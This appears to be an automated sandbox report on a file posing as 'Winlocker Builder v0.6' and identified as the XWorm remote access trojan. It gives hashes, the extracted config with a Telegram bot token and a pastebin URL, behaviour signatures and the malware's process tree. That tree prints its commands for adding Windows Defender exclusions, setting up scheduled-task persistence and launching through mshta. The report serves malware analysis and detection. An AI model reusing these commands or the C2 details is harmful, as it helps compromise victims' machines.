Overview

overview

10

Static

static

3

WinlockerB....6.exe

windows7-x64

10

WinlockerB....6.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-01-2025 23:28

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General

  • Target

    WinlockerBuilderv0.6.exe

  • Size

    1.3MB

  • MD5

    a00721b4615c9ab1c166f08baf5233e3

  • SHA1

    96ab6fee83413faaf6c3e77b52f2684dee0cb76d

  • SHA256

    fa7bd4b4c4f621aa00c0007f4af4363904f6e4a2b5ca545e4b38e2de23cb473f

  • SHA512

    eedf0da3b1f08c5ca46402e6600ea20c2f35310080bdd8c86413e5db5f17f81dca69c79378859a46647b5cbd3684a1d2332733bd03705721d0d0d0056caaf001

  • SSDEEP

    24576:FMbXvsRLDInc+3WNyc4aKZQ6VvDrVq3EXcWdFVtV6d/PH:70c+Gr1YBrNXcEFVf6pPH

Score
10/10
xwormdefense_evasiondiscoveryexecutionrattrojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

vTtlhGPfn0ebMPsq

Attributes
  • Install_directory

    %Public%

  • install_file

    explorer.exe

  • pastebin_url

    https://pastebin.com/raw/4zaiEtZS

  • telegram

    https://api.telegram.org/bot8175192176:AAHZuZ0-rHS66YSwsvh8-gQjbZYSbY3IyXo/sendMessage?chat_id=7537927256

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    defense_evasion
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 6 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 43 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\WinlockerBuilderv0.6.exe
    "C:\Users\Admin\AppData\Local\Temp\WinlockerBuilderv0.6.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3960
    • C:\Windows\System32\control.exe
      "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\WinLocker.cpl",
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4376
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\WinLocker.cpl",
        3⤵
        • Modifies visiblity of hidden/system files in Explorer
        • Checks computer location settings
        • Loads dropped DLL
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5096
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\System32\WinLocker.cpl"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4484
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /F /TN "WinLocker" /SC ONLOGON /TR "mshta.exe vbscript:Execute(\"on error resume next:CreateObject(\"\"Wscript.Shell\"\").Run \"\"\"\"\"\"C:\Windows\System32\WinLocker.lnk\"\"\"\"\"\",0:close\"")"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3060
        • C:\Windows\system32\SCHTASKS.exe
          SCHTASKS.exe /RUN /TN "WinLocker"
          4⤵
            PID:1864
      • C:\Users\Admin\AppData\Local\Temp\Winlocker Builder v0.6.exe
        "C:\Users\Admin\AppData\Local\Temp\Winlocker Builder v0.6.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3416
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AFD7.tmp\Builder #6.bat" "
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:800
          • C:\Users\Admin\AppData\Local\Temp\AFD7.tmp\builder.exe
            builder.exe
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:3676
    • C:\Windows\system32\mshta.exe
      mshta.exe vbscript:Execute("on error resume next:CreateObject(""Wscript.Shell"").Run """"""C:\Windows\System32\WinLocker.lnk"""""",0:close")
      1⤵
      • Modifies registry class
      PID:2780
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
      1⤵
      • Loads dropped DLL
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4592
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\explorer.exe'
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3152
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\explorer.exe'
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3620
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:404
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\Public\explorer.exe"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2116
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
      1⤵
      • System Location Discovery: System Language Discovery
      PID:332
    • C:\Users\Public\explorer.exe
      C:\Users\Public\explorer.exe
      1⤵
      • Executes dropped EXE
      • Modifies registry class
      PID:1704
    • C:\Users\Public\explorer.exe
      C:\Users\Public\explorer.exe
      1⤵
      • Executes dropped EXE
      PID:5032

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      10890cda4b6eab618e926c4118ab0647

      SHA1

      1e1d63b73a0e6c7575f458b3c7917a9ce5ba776d

      SHA256

      00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14

      SHA512

      a2ee84006c24a36f25e0bca0772430d64e3791f233da916aecdeae6712763e77d55bbbd00dc8f6b2b3887f3c26ab3980b96c5f46cc823e81e28abbbc5fc78221

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      77d622bb1a5b250869a3238b9bc1402b

      SHA1

      d47f4003c2554b9dfc4c16f22460b331886b191b

      SHA256

      f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

      SHA512

      d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      7f9310cc1f2b285c06c167a3cd38dedd

      SHA1

      c5d1c119f0efa4fe380025ca32ed54cecd3064ef

      SHA256

      cbb97149a7a9b21b4485c1f818e687a6d839eb7a15d86acfb028bc208282d539

      SHA512

      d1d636c1559663f6ad9f8263d6af9393a33634fffd966e58d5cccd85d9a74f0249e1db3e9826a46207cf6fd5bf1fd7179761058e2bbcfe64704ac9e5135e7de1

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      98baf5117c4fcec1692067d200c58ab3

      SHA1

      5b33a57b72141e7508b615e17fb621612cb8e390

      SHA256

      30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51

      SHA512

      344a70bfc037d54176f12db91f05bf4295bb587a5062fd1febe6f52853571170bd8ef6042cb87b893185bbae1937cf77b679d7970f8cc1c2666b0b7c1b32987d

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\AFD7.tmp\Builder #6.bat
      Filesize

      28B

      MD5

      8051f1a637f4635ede0c96f81302993b

      SHA1

      1712fdb1a9d64edae50acc063574c1109d613546

      SHA256

      ff61e26e4d145be670bc4512afdf87210da097acaa43bf97cf278def640b3110

      SHA512

      b54aec0ff9ec591e2c8507ef4729c3b69e0263337eb52c58dd69f5b2e0b50d5d8f3bc17c32b5c55a2327809f0cd17713f511f3ab7a03bfa826e53da0d8a96c9d

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\AFD7.tmp\builder.exe
      Filesize

      2.4MB

      MD5

      9729d33f5cc788e9c1930bcc968acffa

      SHA1

      68c662875f7b805dd6f246919d406c8d92158073

      SHA256

      3711a334cb3c6e2a92461067f2d7db2946e9b139f1517b214bc929ba42a86aae

      SHA512

      af12beee6da79e5498eb292eb4a122667bf5dcdf840def97a5476adb31e0701a2aa0585b4266547bb4307c3524c7f9733dbf32f2a87c87b33fadb4bb1ecd0c3f

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\WinLocker.cpl
      Filesize

      49KB

      MD5

      8fe4b2ca0b85980b73050ab7e8eb58a8

      SHA1

      d78af51db795dd51ffe48f96321d7a3fdd853117

      SHA256

      16160a0f94f668219b4b69aa3c396aef00388c305e66a887f7a891fb460bc914

      SHA512

      6d73f190d657b9f04887d7d88ef8aa913e61b3eb8de50de4607f035a32fde9f9bb2f76a9918d73039ca294a56d98e2a7de7f233ff5b43079a5d80bbf7b2392f1

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\Winlocker Builder v0.6.exe
      Filesize

      1.3MB

      MD5

      4caed3373183b76693cebb8f917faa1f

      SHA1

      10d2a0c799b6231bc90d66fe59a8245e74bbbaf0

      SHA256

      a4b302ddaecc5ca50b48152644e3a101d389ed6b72abeb3c610f5f1facaf4547

      SHA512

      83670f489cb7e4be492e3361ba2291dc725ce5ce7694c5f6e9c988b680dca4147042b2ae8c0d2e78bbda5fa2d6b8c7ca83c8299bd4f1594107262ca26d276128

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yoewzp1p.tfs.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Public\explorer.exe
      Filesize

      4.6MB

      MD5

      30decee483a8196b30643ec6a453a7de

      SHA1

      92266131aff3595c5a95d3aa23c9e40c85d5f982

      SHA256

      3dc254ad131a691acb1f9e3a5bb5ca5b3ea891869e516f4b3580ea4fcfdf2e76

      SHA512

      a8f370c060223d4c2985ac16e78547779e584020e95428e85b497464fc487611d7b080908f904c11aa93bc7b56ec102845fbb6554d97dcba7fdc856c93087f00

      Download Submit

    • C:\Windows\System32\WinLocker.lnk
      Filesize

      104B

      MD5

      62658c068ffbf0e44a72ac7ad1d0de8c

      SHA1

      be24daae430936518ccafa73d53e64ca3f29f4b1

      SHA256

      b87ace89fe7d8861eaa93dde044ba1b74d7fb29b84ec945e5ec681511fe3096a

      SHA512

      0e56c57ebeaba882ce2b1290f053b2d95367b2809306b31cd7b0fbe7f47c7f656818f8a49311c8bccaa67c8f0b16d6c3d25119289adbfb27b275eb780e8dd036

      Download Submit

    • memory/3416-38-0x0000000000400000-0x000000000067E000-memory.dmp

      Filesize

      2.5MB

      Download

    • memory/3416-19-0x0000000000400000-0x000000000067E000-memory.dmp

      Filesize

      2.5MB

      Download

    • memory/3676-77-0x0000000000400000-0x0000000000671000-memory.dmp

      Filesize

      2.4MB

      Download

    • memory/3960-0-0x00007FFD857F3000-0x00007FFD857F5000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3960-1-0x0000000000550000-0x00000000006AA000-memory.dmp

      Filesize

      1.4MB

      Download

    • memory/3960-2-0x00007FFD857F0000-0x00007FFD862B1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3960-27-0x00007FFD857F0000-0x00007FFD862B1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4484-45-0x0000028F49870000-0x0000028F49892000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4592-63-0x000000005FDC0000-0x000000005FDD4000-memory.dmp

      Filesize

      80KB

      Download

    • memory/4592-64-0x0000000007AD0000-0x0000000007AE2000-memory.dmp

      Filesize

      72KB

      Download

    • memory/5096-26-0x000000005FDC0000-0x000000005FDD4000-memory.dmp

      Filesize

      80KB

      Download

    • memory/5096-25-0x0000000000960000-0x0000000000974000-memory.dmp

      Filesize

      80KB

      Download

    • memory/5096-53-0x00000204E9650000-0x00000204E9B78000-memory.dmp

      Filesize

      5.2MB

      Download